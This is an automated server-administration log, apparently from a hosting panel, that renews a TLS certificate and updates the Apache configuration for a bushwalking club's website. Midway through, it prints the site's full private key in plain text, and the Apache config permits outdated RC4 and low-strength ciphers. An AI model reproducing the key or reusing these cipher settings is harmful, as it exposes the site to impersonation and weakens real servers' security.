MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-11 20:47:06: Establishing a connection
2025-10-11 20:47:06: Establishing a connection
2025-10-11 20:47:06: 

PUT: /tmp/pkp375379

#!/bin/bash
if [ -d "/var/www/dalmenynaroomabushwalkers_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-11 20:47:06: 

chmod 755 /tmp/pkp375379; /tmp/pkp375379; rm /tmp/pkp375379

2025-10-11 20:47:06: 


1


2025-10-11 20:47:07: Establishing a connection
2025-10-11 20:47:07: 

PUT: /tmp/pkp346951

#!/bin/bash
mkdir -p "/var/www/dalmenynaroomabushwalkers_www/.well-known/acme-challenge/"
cd "/var/www/dalmenynaroomabushwalkers_www/.well-known/acme-challenge/"
cat > 40Q-0jFVvMGy43iayxJRdxqgi5wG4zfWltjrp0wcCKo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
40Q-0jFVvMGy43iayxJRdxqgi5wG4zfWltjrp0wcCKo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 40Q-0jFVvMGy43iayxJRdxqgi5wG4zfWltjrp0wcCKo
cat > Oe2-2njtrtg-2IGlNN-bCs9HUe5ZK9PWTct5u5WayfA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Oe2-2njtrtg-2IGlNN-bCs9HUe5ZK9PWTct5u5WayfA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Oe2-2njtrtg-2IGlNN-bCs9HUe5ZK9PWTct5u5WayfA


2025-10-11 20:47:08: 

chmod 755 /tmp/pkp346951; /tmp/pkp346951; rm /tmp/pkp346951

2025-10-11 20:47:08: 




2025-10-11 20:47:18: Establishing a connection
2025-10-11 20:47:18: 

PUT: /tmp/pkp848816

#!/bin/bash
mkdir -p "/var/www/dalmenynaroomabushwalkers_www/.well-known/acme-challenge/"
cd "/var/www/dalmenynaroomabushwalkers_www/.well-known/acme-challenge/"
rm 40Q-0jFVvMGy43iayxJRdxqgi5wG4zfWltjrp0wcCKo
rm Oe2-2njtrtg-2IGlNN-bCs9HUe5ZK9PWTct5u5WayfA


2025-10-11 20:47:18: 

chmod 755 /tmp/pkp848816; /tmp/pkp848816; rm /tmp/pkp848816

2025-10-11 20:47:18: 




2025-10-11 20:47:18: Establishing a connection
2025-10-11 20:47:18: 

PUT: /tmp/pkp737807

#!/bin/bash
temp_file=$(mktemp)
TARGET=65c19728b6c59b5ac40abac85aa0d8fa.crt

cat > $temp_file <<'endmsg'
85:26:d0:ea:d1:70:ea:c9:4c:c7:cb:4d:f9:e0:c8:e0

-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBZTibAGyGEICa7vlq+++PN/uMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDExMTk0ODQ3WhcNMjYwMTA5MTk0ODQ2WjApMScwJQYDVQQD
Ex5kYWxtZW55bmFyb29tYWJ1c2h3YWxrZXJzLmluZm8wggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQC35NT4lAURFAa5DfMdDvT8VhHm0vyt03Vn5dLkEJae
fO3UFthWGFiGPhtLPc5vxhFH988G7LkMZKjCrf9r6Nbgua+3Jy19nkBYR5nsvtFr
8ci/QZMND3m8WahG3+m0yFWUZgv/10W5h/LJAa0iDUB3mS86d0XmIG89/TE2UmtO
khGOJ5Xxk6kGwTXWt45KNWDGXgRoc6BGugrBQVOFStr70lawAEZxZRMSD/lI/I7M
v9pnWhx/x2SROZdisXa5ZuA+SXoj6nzzpQzcQWisewNtX2eDNArI44RamnFB4xoj
svXZAtzY6D5RLNsg0KZ+jfwQBOOk/oonutyjvDBVbSVBAgMBAAGjggJSMIICTjAO
BgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwG
A1UdEwEB/wQCMAAwHQYDVR0OBBYEFOCXiSqrAUpXgFpnd5H+bPStqW1/MB8GA1Ud
IwQYMBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggr
BgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wTQYDVR0RBEYwRIIeZGFs
bWVueW5hcm9vbWFidXNod2Fsa2Vycy5pbmZvgiJ3d3cuZGFsbWVueW5hcm9vbWFi
dXNod2Fsa2Vycy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTExLmNybDCCAQMGCisGAQQB
1nkCBAIEgfQEgfEA7wB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjn
AAABmdUHHu0AAAQDAEcwRQIhAMLrreAyBPUKBKusa39sFmcuIxsSaGMO6q7tzjQs
9yFbAiBvn1pjXgHg2I+X6XnW6QxNhaxXfAPxcrKuXDVdEcTpuQB1AA5XlLzzrqk+
MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmdUHHt4AAAQDAEYwRAIgLDxQrtdE
8JtQL4cLOfuREwW0gg0yNQLNMxK7IaP+PSACIFxQ/uykAN0iJl5O1Zl2eFZCFQyZ
dZcxB+IooO2F7E9oMA0GCSqGSIb3DQEBCwUAA4IBAQBhQeV2VbEMThx0PlU0mqNW
EDVv6VNNYQTJmvwVf5aUfziXmmkmEA2sKwjGXwY1cuSbf/xPblul9WPTIImpb7Lz
POffRoFqJ9f38qdpmYu31HbB6xPTJSDaMxWKWNEAMt055EkDlxVwupsBZLdKx5Vg
pMtWh+IkYQxwk1m7nwhzvg/VyzgSWkIGNKViM/O3qTjGWhD8rv+5KGogyJVBS0pI
MzydEkqbBYAmDkoDeuSBijklWFqnVlOFPY7hMUnRYu3on1hJ/VbXwKQGQQZn8X8Z
XVZ2WBecqHnNMisAUfgjdlzggkUoHuz9yoSIqwic/YutzsYCWBV0Fn5IaFAn5Vdl
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC35NT4lAURFAa5
DfMdDvT8VhHm0vyt03Vn5dLkEJaefO3UFthWGFiGPhtLPc5vxhFH988G7LkMZKjC
rf9r6Nbgua+3Jy19nkBYR5nsvtFr8ci/QZMND3m8WahG3+m0yFWUZgv/10W5h/LJ
Aa0iDUB3mS86d0XmIG89/TE2UmtOkhGOJ5Xxk6kGwTXWt45KNWDGXgRoc6BGugrB
QVOFStr70lawAEZxZRMSD/lI/I7Mv9pnWhx/x2SROZdisXa5ZuA+SXoj6nzzpQzc
QWisewNtX2eDNArI44RamnFB4xojsvXZAtzY6D5RLNsg0KZ+jfwQBOOk/oonutyj
vDBVbSVBAgMBAAECggEAYUvmztrqT13sLK9PyTknr/cOI7XQUVxHi0BTM63/Mz3g
S84Gio75D5X+tPGvrv36GLzpwb0wL3l2vQJ42SxpvJ8idGJ7NDKt0seXjmZrwZQ8
5cyZNFjSzTAW0+EW8zrn5MuVX7kTwBVJBMcpRpICYQUgsut2hUr18LNs/VPgSMIk
asDT1gQ+u9ZwpmqeUMGkPN7w0jdDVPkdU3OWx7nB1jywiwpQTa3QWV/BR0RvlkYQ
emiYpptZL/zVsi11uFvIdd2D9EkaeHsbLoPQry06mhMucAVCwpn3mEsQX1U72hC7
YNFqQAzRh1K8dub5a8nbdz77Dn6Mu12ohIUXsSqBPQKBgQDfeDZtMGMPM+61Ztnq
gTTs4s4JsLWfBamJJWyPwJgpiNHbLZOCmHM+E8ej4gel6Whv9v8YbXcMsjxO/br3
n+t49owCaBHWleE2hh0++CSnD9MHVBGQonZ0XwAGlms4+oG1vGoKwLSbQwnujR9w
aWhr8UY9wBlcSYtpdzczdVfWwwKBgQDSqcvfGsXLj6T/ZpdIheoJ1ofHgHdcoTzJ
ToLhQq6mjVy0AUU/4RRl9DgOl9r3rZMm9Mu261rG1w17qwomffVzVOWBlX30FqgW
b+ZnauxLDOg8kz+Lhd+XSynHdjgAeCXGM8IqAYdLhfF17hHZqnwaTdB9eDU8rbMI
/hlb8xt7qwKBgQDXY2eaIFwqKBT5VTPOulCHzidm4aJ8rpl0rdSQTcKbrdsPVUNr
SYMyHyB6Tf6vJGRcHoZLRh7L5vMH87kEuWfdhEz4eNRQrs+OnP+NVOEHANKWqqnv
bRedHH/K2appFdJ1ly/iQ1EQoTHucqkN0Rsrhzb7h68p61zq/1P+TiimvwKBgFTv
PpJSIgNDg/uxKjeEPmr/Arlt0zIWlAJ51AzsLKxb/E9a38e0gNvmTh+cHB2V7ula
8zNpyqy2keoVeL8yM57vUKUhV6ns5JI/RX7WvjQ4HP4nRAyFyjMei9aulD+kMV6r
CZKUES9i7opklO/Ua7rTOscLizNOuQtcH29SIfeHAoGACzZkz9A49ITpCwtu8I6h
MH788NGNqFJ1FubjS3ybgnXwGI09PLsVhEUT/kcjZXvU2Vq6bCQn18sorfdtUuKf
mGhM69lFFPw0ixHtcnz7NTQApD9mqIORZyWW5/FcoIe36wVzEEDb+qOQ6h+19Yfa
/th9Vxh5Ro/rhwNrWq2pS64=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-11 20:47:18: 

chmod 755 /tmp/pkp737807; /tmp/pkp737807; rm /tmp/pkp737807

2025-10-11 20:47:18: 


dir=/etc/ssl/certs


2025-10-11 20:47:18: 

PUT: /tmp/pkp824010

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-11 20:47:18: 

chmod 755 /tmp/pkp824010; /tmp/pkp824010; rm /tmp/pkp824010

2025-10-11 20:47:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf 58

<VirtualHost *:80>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_error.log
    SetEnv pkp_uid	47
    SetEnv pkp_owner	dalmeny
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-11 20:47:18: 

PUT: /tmp/pkp593613

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dalmenynaroomabushwalkers_www_info.conf
TARGET=/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_error.log
    SetEnv pkp_uid	47
    SetEnv pkp_owner	dalmeny
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf= 1'
fi


2025-10-11 20:47:18: 

chmod 755 /tmp/pkp593613; /tmp/pkp593613; rm /tmp/pkp593613

2025-10-11 20:47:18: 




2025-10-11 20:47:19: 

PUT: /tmp/pkp867716

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-11 20:47:19: 

chmod 755 /tmp/pkp867716; /tmp/pkp867716; rm /tmp/pkp867716

2025-10-11 20:47:19: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-11 20:47:19: Establishing a connection
2025-10-11 20:47:19: 

PUT: /tmp/pkp588507

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-11 20:47:19: 

chmod 755 /tmp/pkp588507; /tmp/pkp588507; rm /tmp/pkp588507

2025-10-11 20:47:19: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-11 20:47:19: 

PUT: /tmp/pkp668155

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-11 20:47:19: 

chmod 755 /tmp/pkp668155; /tmp/pkp668155; rm /tmp/pkp668155

2025-10-11 20:47:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf	1571

<VirtualHost *:80>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
